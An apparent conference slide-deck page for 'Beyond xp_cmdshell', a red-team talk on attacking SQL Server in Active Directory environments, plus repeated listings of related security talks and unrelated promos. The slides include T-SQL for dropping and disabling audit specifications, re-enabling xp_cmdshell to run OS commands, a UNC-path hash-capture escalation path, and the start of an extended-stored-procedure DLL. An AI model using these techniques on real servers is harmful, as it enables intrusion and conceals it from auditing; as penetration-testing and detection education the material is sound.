Scott Sutherland and Alexander Leary present at Secure360 Twin Cities 2018 on Owning the Empire Through SQL Server.
Presentation includes five objectives:
- Get Access
- Hide from Audit Controls
- Execute OS Commands
- Use SQL Server as a breach head
- Detect OS Comment Execution
Questions? Contact @0xbadjuju or @_nullbind on Twitter.
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsScott Sutherland
During this presentation, I’ll cover common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. I’ll also share a msbuild.exe project file that can be used as an offensive SQL Client during red team engagements when tools like PowerUpSQL are too overt.
Where there is Active Directory, there are SQL Servers. In dynamic enterprise environments it’s common to see both platforms suffer from misconfigurations that lead to unauthorized system and sensitive data access. During this presentation, I’ll cover common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. I’ll also share a msbuild.exe project file that can be used as an offensive SQL Client during red team engagements when tools like PowerUpSQL are too overt.
2017 Thotcon - Hacking SQL Servers on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally I’ll show how PowerShell automation can be used to execute the SQL Server attacks on scale with PowerUpSQL. All scripts demonstrated during the presentation are available on GitHub. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation. This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
This is the presentation we provided at the 2018 Blackhat USA Arsenal to introduce PowerUpSQL. PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server. This should be interesting to red, blue, and purple teams interested in automating day to day tasks involving SQL Server.
More information can be found at:
https://github.com/NetSPI/PowerUpSQL/wiki
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation. This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
2017 Secure360 - Hacking SQL Server on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally I’ll show how PowerShell automation can be used to execute the SQL Server attacks on scale with PowerUpSQL. All scripts demonstrated during the presentation are available on GitHub. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsScott Sutherland
During this presentation, I’ll cover common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. I’ll also share a msbuild.exe project file that can be used as an offensive SQL Client during red team engagements when tools like PowerUpSQL are too overt.
Where there is Active Directory, there are SQL Servers. In dynamic enterprise environments it’s common to see both platforms suffer from misconfigurations that lead to unauthorized system and sensitive data access. During this presentation, I’ll cover common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. I’ll also share a msbuild.exe project file that can be used as an offensive SQL Client during red team engagements when tools like PowerUpSQL are too overt.
2017 Thotcon - Hacking SQL Servers on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally I’ll show how PowerShell automation can be used to execute the SQL Server attacks on scale with PowerUpSQL. All scripts demonstrated during the presentation are available on GitHub. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation. This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
This is the presentation we provided at the 2018 Blackhat USA Arsenal to introduce PowerUpSQL. PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server. This should be interesting to red, blue, and purple teams interested in automating day to day tasks involving SQL Server.
More information can be found at:
https://github.com/NetSPI/PowerUpSQL/wiki
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation. This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
2017 Secure360 - Hacking SQL Server on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally I’ll show how PowerShell automation can be used to execute the SQL Server attacks on scale with PowerUpSQL. All scripts demonstrated during the presentation are available on GitHub. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally we?ll show how PowerShell automation can be used to execute the SQL Server attacks on scale. All scripts created and demonstrated during the presentation will be open sourced. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
Beyond xp_cmdshell: Owning the Empire through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation.
This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012Scott Sutherland
During this presentation attendees will be introduced to lesser known, yet significant vulnerabilities in SQL Server implementations related to common trust relationships, misconfigurations, and weak default settings. The issues that will be covered are often leveraged by attackers to gain unauthorized access to high value systems, applications, and sensitive data. An overview of each issue, common vectors of attack, and manual techniques will be covered. Finally newly created Metasploit modules and TSQL scripts will be demonstrated that help automate the attacks. This presentation will be valuable to penetration testers who are looking for faster ways to gain access to critical data and systems. Additionally, it should be worth while for developers and database administrators who are interested in gaining a better understanding of how to protect their applications and databases from these attacks.
More security blogs by the authors can be found @
https://www.netspi.com/blog/
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial EmulationScott Sutherland
This presentation provides an overview off common adversarial emulation approaches along with attack and detection trends. It should be interesting to penetration testers and professionals in security operations roles.
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015Scott Sutherland
This presentation will cover 10 common weak SQL Server configurations and the practical attacks that help hackers gain unauthorized access to data, applications, and systems. This will include a few demonstrations of the techniques that are being used during real-world attacks and penetration tests. This should be interesting to developers, new database admins, and aspiring penetration testers looking to gain a better understanding of the risks associated with weak SQL Server configurations.
Full Video Presentation: http://youtu.be/SIeMz6gCK3Q
The session will provide an Introduction to PowerShell for IT professional to automate Windows Server 2008 and Windows Vista client administrative activities. The session will explore the features and capabilities of PowerShell, customer scenarios to manage day-to-day server and client administration activities, and Command Line syntax usage.
How to scheduled jobs in a cloudera cluster without oozieTiago Simões
This presentation, it’s for everyone that is looking for an oozie alternative to scheduled jobs in a secured Cloudera Cluster.With this, you will be able to add and configure the Airflow Service an manage it with in Cloudera Manager.
How to create a secured cloudera clusterTiago Simões
This presentation, it’s for everyone that is curious with Big Data and does have the know how to start learning...
With this, you will be able to create quickly a Kerberos secured Cloudera Cluster.
How to configure a hive high availability connection with zeppelinTiago Simões
With this presentation, you not only should be able to configure a Hive Interpreter on Zeppelin but also with a High Availability, Load balancing and Concurrency architecture.
It will be created a JDBC connection with kerberos authentication that will communicate with your Zookeeper on the cluster.
How to implement a gdpr solution in a cloudera architectureTiago Simões
Since the implementation of GDPR regulation, all data processors across the world have been struggling to be GDPR compliant and also deal with the new reality in Big Data, that data is constantly drifting and mutating.
In this presentation, the approach will be:
Cloudera architecture
No additional financial cost
Masking & Encrypting
A technical overview of PowerShell. See http://blogs.msdn.com/allandcp/archive/2009/03/11/powershell-to-the-people-the-aftermath.aspx for more background and resources.
Codemotion 2013: Feliz 15 aniversario, SQL InjectionChema Alonso
Charla de Chema Alonso sobre la historia y evolución de las técnicas de SQL Injection en el evento Codemotion ES del año 2013 que tuvo lugar en la Escuela Universitaria de Informática de la Universidad Politécnica de Madrid
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally we?ll show how PowerShell automation can be used to execute the SQL Server attacks on scale. All scripts created and demonstrated during the presentation will be open sourced. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
Beyond xp_cmdshell: Owning the Empire through SQL ServerScott Sutherland
During this presentation, we’ll cover interesting techniques for executing operating system commands through SQL Server that can be used to avoid detection and maintain persistence during red team engagements. We’ll also talk about automating attacks through PowerShell Empire and PowerUpSQL. This will include a review of command execution through custom extended stored procedures, CLR assemblies, WMI providers, R scripts, python scripts, agent jobs, and custom ole objects. We’ll also dig into some new integrations with PowerShell Empire. All code and slide decks will be released during the presentation.
This should be interesting to blue teamers looking for a faster way to test their detective control capabilities and red teamers looking for a practical way to avoid detection while trying to maintain access to their target environments.
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012Scott Sutherland
During this presentation attendees will be introduced to lesser known, yet significant vulnerabilities in SQL Server implementations related to common trust relationships, misconfigurations, and weak default settings. The issues that will be covered are often leveraged by attackers to gain unauthorized access to high value systems, applications, and sensitive data. An overview of each issue, common vectors of attack, and manual techniques will be covered. Finally newly created Metasploit modules and TSQL scripts will be demonstrated that help automate the attacks. This presentation will be valuable to penetration testers who are looking for faster ways to gain access to critical data and systems. Additionally, it should be worth while for developers and database administrators who are interested in gaining a better understanding of how to protect their applications and databases from these attacks.
More security blogs by the authors can be found @
https://www.netspi.com/blog/
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial EmulationScott Sutherland
This presentation provides an overview off common adversarial emulation approaches along with attack and detection trends. It should be interesting to penetration testers and professionals in security operations roles.
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015Scott Sutherland
This presentation will cover 10 common weak SQL Server configurations and the practical attacks that help hackers gain unauthorized access to data, applications, and systems. This will include a few demonstrations of the techniques that are being used during real-world attacks and penetration tests. This should be interesting to developers, new database admins, and aspiring penetration testers looking to gain a better understanding of the risks associated with weak SQL Server configurations.
Full Video Presentation: http://youtu.be/SIeMz6gCK3Q
The session will provide an Introduction to PowerShell for IT professional to automate Windows Server 2008 and Windows Vista client administrative activities. The session will explore the features and capabilities of PowerShell, customer scenarios to manage day-to-day server and client administration activities, and Command Line syntax usage.
How to scheduled jobs in a cloudera cluster without oozieTiago Simões
This presentation, it’s for everyone that is looking for an oozie alternative to scheduled jobs in a secured Cloudera Cluster.With this, you will be able to add and configure the Airflow Service an manage it with in Cloudera Manager.
How to create a secured cloudera clusterTiago Simões
This presentation, it’s for everyone that is curious with Big Data and does have the know how to start learning...
With this, you will be able to create quickly a Kerberos secured Cloudera Cluster.
How to configure a hive high availability connection with zeppelinTiago Simões
With this presentation, you not only should be able to configure a Hive Interpreter on Zeppelin but also with a High Availability, Load balancing and Concurrency architecture.
It will be created a JDBC connection with kerberos authentication that will communicate with your Zookeeper on the cluster.
How to implement a gdpr solution in a cloudera architectureTiago Simões
Since the implementation of GDPR regulation, all data processors across the world have been struggling to be GDPR compliant and also deal with the new reality in Big Data, that data is constantly drifting and mutating.
In this presentation, the approach will be:
Cloudera architecture
No additional financial cost
Masking & Encrypting
A technical overview of PowerShell. See http://blogs.msdn.com/allandcp/archive/2009/03/11/powershell-to-the-people-the-aftermath.aspx for more background and resources.
Codemotion 2013: Feliz 15 aniversario, SQL InjectionChema Alonso
Charla de Chema Alonso sobre la historia y evolución de las técnicas de SQL Injection en el evento Codemotion ES del año 2013 que tuvo lugar en la Escuela Universitaria de Informática de la Universidad Politécnica de Madrid
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShellScott Sutherland
This presentation will provide an overview of common SQL Server discovery, privilege escalation, persistence, and data targeting techniques. Techniques will be shared for escalating privileges on SQL Server and associated Active Directory domains. Finally I’ll show how PowerShell automation can be used to execute the SQL Server attacks on scale with PowerUpSQL. All scripts demonstrated during the presentation are available on GitHub. This should be useful to penetration testers and system administrators trying to gain a better understanding of their SQL Server attack surface and how it can be exploited.
Sections Updated for OWASP Meeting:
- SQL Server Link Crawling
- UNC path injection targets
- Command execution details
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...Sharon James
Bp307 Practical Solutions for Connections Administrators, tips and scrips for your daily business - how to use wsadmin and jython scripts to make your daily life as an IBM Connections Administrator easier :)
Slides for Building Better Backdoors with WMI - DerbyCon 2017 - Legacy
Code:
https://github.com/0xbadjuju/PowerProvider/
https://github.com/0xbadjuju/WheresMyImplant
Valerie Parham-Thompson
Lead Database Consultant with Pythian
Find more by Valerie Parham-Thompson: https://speakerdeck.com/dataindataout
All Things Open
October 26-27, 2016
Raleigh, North Carolina
BSides Portland - Attacking Azure Environments with PowerShellKarl Fosaaen
For a multitude of reasons, many organizations are moving their operations to the cloud. Along with this, many organizations are introducing old vulnerabilities in new ways. As one of the top cloud providers, Microsoft Azure has had significant adoption and continues to grow in market share. As part of this increase in adoption, there has also been an increase in demand for security testing of Azure environments. Given the blended nature of hosted services, PAAS, and virtual infrastructure, it can be difficult to get a handle on how to properly secure these environments. Reviewing Azure environments can also be time consuming given the lack of automated tools for dumping configuration information.
MicroBurst is a set of PowerShell tools that helps automate the processes of dumping and reviewing Microsoft Azure configurations. This talk will go over the ways that pen testers and defenders can use MicroBurst to dump out the configuration information for an Azure environment, and identify common configuration issues. Security testers will benefit from the speed of dumping environment credentials for pivoting, listing out publicly available services and files, and enumerating additional targets for phishing and password guessing attacks. As an added bonus, defenders can also use these tools to audit their environment for weak spots.
SAP strikes back Your SAP server now counter attacks.Dmitry Iudin
In this presentation, we will demonstrate how attackers can compromise all SAP clients and gain private information from their machines by using the SAP server.
Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2NetSPI
App Security? There’s a metric for that! (Part 1 of 2)
Over the past year, NetSPI has been working on a new approach to manage and measure application security. By combining OWASP’s Software Assurance Maturity Model, traditional risk assessment methodologies, and experience developing security metrics, NetSPI developed a methodology that may be used to help organizations improve the way they manage and prioritize their application security initiatives. Once fully developed, this approach will be donated to OWASP either as an add-on to the existing SAMM project or as a new project intended to improve application security management.
In this presentation, NetSPI provides a detailed walk-through of the overall methodology as well as OWASP’s SAMM project. We provide examples of the types of metrics and executive dashboards that can be generated by using this approach to managing application security and help highlight various ways this information can be used to further improve the overall maturity of application security programs.
Be sure to check out Part 2 of this presentation for a more "Hands On" approach.
http://www.slideshare.net/NetSPI/application-risk-prioritizationhandsonsecure360part2of2
All You Need is One - A ClickOnce Love Story - Secure360 2015NetSPI
ClickOnce is a deployment solution that enables fast, easy delivery of packaged software. It is commonly used by organizations to deploy both internal and production-grade software packages, along with their respective updates. By allowing end-users to accept the requested permissions of the software package without the intervention of an administrator, ClickOnce simplifies the deployment and use of robust software solutions.
It also provides an excellent opportunity for malicious actors to establish a foothold in your network.
In this presentation, we discuss how we combined ClickOnce technology and existing phishing techniques into a new methodology for establishing an initial presence in an environment. By minimizing user interaction, we only require that the user is fooled for “one click” – after that, we already have a foothold in their environment and are ready to pivot and escalate further.
Fuzzing and You: Automating Whitebox TestingNetSPI
Fuzzing is easy, but getting useful information from fuzzing isn’t. ‘Spray and pray’ might get some results, but a set of well-designed tests will get much better results faster. Unfortunately, the job doesn’t end there. Fuzzing doesn’t find vulnerabilities; fuzzing finds unexpected behavior. Interpreting that unexpected behavior relies on understanding the application you’re fuzzing and the tests you’ve designed. This presentation will discuss techniques for creating tests targeted towards uncovering specific behavior, including authorization bypasses, directory traversals, and buffer overflows.
Essentials of Automations: The Art of Triggers and Actions in FMESafe Software
In this second installment of our Essentials of Automations webinar series, we’ll explore the landscape of triggers and actions, guiding you through the nuances of authoring and adapting workspaces for seamless automations. Gain an understanding of the full spectrum of triggers and actions available in FME, empowering you to enhance your workspaces for efficient automation.
We’ll kick things off by showcasing the most commonly used event-based triggers, introducing you to various automation workflows like manual triggers, schedules, directory watchers, and more. Plus, see how these elements play out in real scenarios.
Whether you’re tweaking your current setup or building from the ground up, this session will arm you with the tools and insights needed to transform your FME usage into a powerhouse of productivity. Join us to discover effective strategies that simplify complex processes, enhancing your productivity and transforming your data management practices with FME. Let’s turn complexity into clarity and make your workspaces work wonders!
Transcript: Selling digital books in 2024: Insights from industry leaders - T...BookNet Canada
The publishing industry has been selling digital audiobooks and ebooks for over a decade and has found its groove. What’s changed? What has stayed the same? Where do we go from here? Join a group of leading sales peers from across the industry for a conversation about the lessons learned since the popularization of digital books, best practices, digital book supply chain management, and more.
Link to video recording: https://bnctechforum.ca/sessions/selling-digital-books-in-2024-insights-from-industry-leaders/
Presented by BookNet Canada on May 28, 2024, with support from the Department of Canadian Heritage.
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...Neo4j
Leonard Jayamohan, Partner & Generative AI Lead, Deloitte
This keynote will reveal how Deloitte leverages Neo4j’s graph power for groundbreaking digital twin solutions, achieving a staggering 100x performance boost. Discover the essential role knowledge graphs play in successful generative AI implementations. Plus, get an exclusive look at an innovative Neo4j + Generative AI solution Deloitte is developing in-house.
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...SOFTTECHHUB
The choice of an operating system plays a pivotal role in shaping our computing experience. For decades, Microsoft's Windows has dominated the market, offering a familiar and widely adopted platform for personal and professional use. However, as technological advancements continue to push the boundaries of innovation, alternative operating systems have emerged, challenging the status quo and offering users a fresh perspective on computing.
One such alternative that has garnered significant attention and acclaim is Nitrux Linux 3.5.0, a sleek, powerful, and user-friendly Linux distribution that promises to redefine the way we interact with our devices. With its focus on performance, security, and customization, Nitrux Linux presents a compelling case for those seeking to break free from the constraints of proprietary software and embrace the freedom and flexibility of open-source computing.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
Generative AI Deep Dive: Advancing from Proof of Concept to ProductionAggregage
Join Maher Hanafi, VP of Engineering at Betterworks, in this new session where he'll share a practical framework to transform Gen AI prototypes into impactful products! He'll delve into the complexities of data collection and management, model selection and optimization, and ensuring security, scalability, and responsible use.
Climate Impact of Software Testing at Nordic Testing DaysKari Kakkonen
My slides at Nordic Testing Days 6.6.2024
Climate impact / sustainability of software testing discussed on the talk. ICT and testing must carry their part of global responsibility to help with the climat warming. We can minimize the carbon footprint but we can also have a carbon handprint, a positive impact on the climate. Quality characteristics can be added with sustainability, and then measured continuously. Test environments can be used less, and in smaller scale and on demand. Test techniques can be used in optimizing or minimizing number of tests. Test automation can be used to speed up testing.
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf91mobiles
91mobiles recently conducted a Smart TV Buyer Insights Survey in which we asked over 3,000 respondents about the TV they own, aspects they look at on a new TV, and their TV buying preferences.
The Art of the Pitch: WordPress Relationships and SalesLaura Byrne
Clients don’t know what they don’t know. What web solutions are right for them? How does WordPress come into the picture? How do you make sure you understand scope and timeline? What do you do if sometime changes?
All these questions and more will be explored as we talk about matching clients’ needs with what your agency offers without pulling teeth or pulling your hair out. Practical tips, and strategies for successful relationship building that leads to closing the deal.
Sudheer Mechineni, Head of Application Frameworks, Standard Chartered Bank
Discover how Standard Chartered Bank harnessed the power of Neo4j to transform complex data access challenges into a dynamic, scalable graph database solution. This keynote will cover their journey from initial adoption to deploying a fully automated, enterprise-grade causal cluster, highlighting key strategies for modelling organisational changes and ensuring robust disaster recovery. Learn how these innovations have not only enhanced Standard Chartered Bank’s data infrastructure but also positioned them as pioneers in the banking sector’s adoption of graph technology.
3. 3 Confidential & Proprietary
BEYOND XP_CMDSHELL: PRESENTATION OVERVIEW
3
MISSION OBJECTIVES
1. Get Access
2. Hide from Audit Controls
3. Execute OS Commands
4. Use SQL Server as a beach head
5. Detect OS Command Execution
4. 4 Confidential & Proprietary
BEYOND XP_CMDSHELL
4
Who are we?
Alexander Leary
Scott Sutherland
5. 5 Confidential & Proprietary
BEYOND XP_CMDSHELL
5
Alexander Leary
Name: Alexander Leary
Job: Network & Application Pentester @ NetSPI
Twitter: @0xbadjuju
Slides: On their way
Blogs: https://blog.netspi.com/author/aleary/
Code: https://blog.netspi.com/expanding-the-empire-with-sql/
WMI
FUN
4 U
7. 7 Confidential & Proprietary7 Confidential & Proprietary
GET ACCESS
8. 8 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
8
Get Access: Escalation Path
1. Locate SQL Servers on the domain via LDAP queries
to DC
2. Attempt to log into each one as the current
domain user
3. Perform UNC path injection to capture SQL Server
service account password hash
Reference: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
9. 9 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
9
Get Access: Privilege Escalation Path
Domain
User
Access
Excessive
Privileges
Public Role
on
SQL Server
UNC Path
Injection
Attack IP
https://gist.githubusercontent.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
Crack or Relay
Password Hash
Access
SQL Server using
Service Account
(sysadmin)
10. 10 Confidential & Proprietary
10
Get Access: PowerUpSQL Automation
BEYOND XP_CMDSHELL: GET ACCESS
Action PowerUpSQL Function
Get SQL Server service account
password hashes
Invoke-SQLUncPathInjection
11. 11 Confidential & Proprietary
11
Get Access: PowerUpSQL Automation
Invoke-SQLUncPathInjection
Written by Thomas Elling
Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: GET ACCESS
18. 18 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
18
Checking Audit Controls – Code – List Server Specs
SELECT audit_id,
a.name as audit_name,
s.name as server_specification_name,
d.audit_action_name,
s.is_state_enabled,
d.is_group,
d.audit_action_id,
s.create_date,
s.modify_date
FROM sys.server_audits AS a
JOIN sys.server_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.server_audit_specification_details AS d
ON s.server_specification_id = d.server_specification_id
20. 20 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
20
Checking Audit Controls – Code – List Database Specs
SELECT a.audit_id,
a.name as audit_name,
s.name as database_specification_name,
d.audit_action_name,
d.major_id,
OBJECT_NAME(d.major_id) as object,
s.is_state_enabled,
d.is_group, s.create_date,
s.modify_date,
d.audited_result
FROM sys.server_audits AS a
JOIN sys.database_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.database_audit_specification_details AS d
ON s.database_specification_id = d.database_specification_id
22. 22 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
22
Hiding from Audit Controls
Remove audit controls – not recommended
Disable audit controls – not recommended
Just use techniques that aren’t being audited
23. 23 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
23
Hiding from Audit Controls –Disable or Remove Audit
-- Disable and remove SERVER AUDIT
ALTER SERVER AUDIT DerbyAudit
WITH (STATE = OFF)
DROP SERVER AUDIT Audit_StartUp_Procs
-- Disable and remove SERVER AUDIT SPECIFICATION
ALTER SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
WITH (STATE = OFF)
DROP SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
-- Disable and remove DATABASE AUDIT SPECIFICATION
ALTER DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
WITH (STATE = OFF)
DROP DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
24. 24 Confidential & Proprietary
24
“This event is raised
whenever any audit is
created, modified or
deleted.”
25. 25 Confidential & Proprietary
25
Obtain Sysadmin Access – Automation – PowerUpSQL
BEYOND XP_CMDSHELL: HIDE FROM AUDITING CONTROLS
Action PowerUpSQL Function
Get Server Specifications Get-SQLAuditServerSpec
Get Database Specifications Get-SQLAuditDatabaseSpec
27. 27 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
27
Reminder
OS commands via SQL Server = Windows Account Impersonation
Many possible configurations:
Local User
Local System
Network Service
Local Managed Service Account
Domain Managed Service Account
Domain User
Domain Admin
28. 28 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
28
SQL Server Agent
Service
29. 29 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
29
Use SQL Server components to run commands via
.Net Methods
New Process() + UseShellExecute
System.management.automation.powershell
C++ Methods
ShellExecute / ShellExecuteEx
System
COM Objects
wscript.shell
shell.application
31. 31 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
31
xp_cmdshell: Overview
1. C++ DLL export registered by default
2. Affected Versions: All
Disabled by default since SQL Server 2005
3. Requires sysadmin role by default
4. EXECUTE privileges can be granted to a database user if the
xp_cmdshell_proxy_account is configured correctly
5. Executes as the SQL Server service account
32. 32 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
32
xp_cmdshell: Configuration Changes and Execution
Action TSQL Example
Re-Install sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Re-Enable
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
Execute Exec master..xp_cmdshell 'whoami'
33. 33 Confidential & Proprietary
33
xp_cmdshell: Automation – PowerUpSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP_CMDSHELL
Action PowerUpSQL Function
Execute OS Commands via
xp_cmdshell
Invoke-SQLOSCmdExec
34. 34 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
34
xp_cmdshell is monitored more than we’d like
CAN THEY
SEE ME ?!?!
CAN THEY
SEE ME ?!?! Yes, yes they can.
35. 35 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
35
GOOD
NEWS
36. 36 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
36
THERE ARE
OTHER
OPTIONS
37. 37 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
37
1. Extended Stored Procedures
2. CLR Assemblies
3. Agent Jobs
(a) CMDEXEC (b) PowerShell (c) ActiveX: VBScript (d) ) ActiveX: Jscript (e) SSIS
4. Ole Automation Procedures
5. R Scripts
6. Python Scripts
7. Openrowset/OpenDataSource/OpenQuery using Providers
8. Registry and file autoruns
39. 39 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
39
Extended Stored Procedure (XP) - Overview
1. C++ DLL export that maps to SQL Server stored procedure
2. Affected Versions: All
3. Requires sysadmin role by default
4. Executes as the SQL Server service account
5. The DLL can have any file extension
6. The DLL can be loaded from Webdav
40. 40 Confidential & Proprietary
40
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
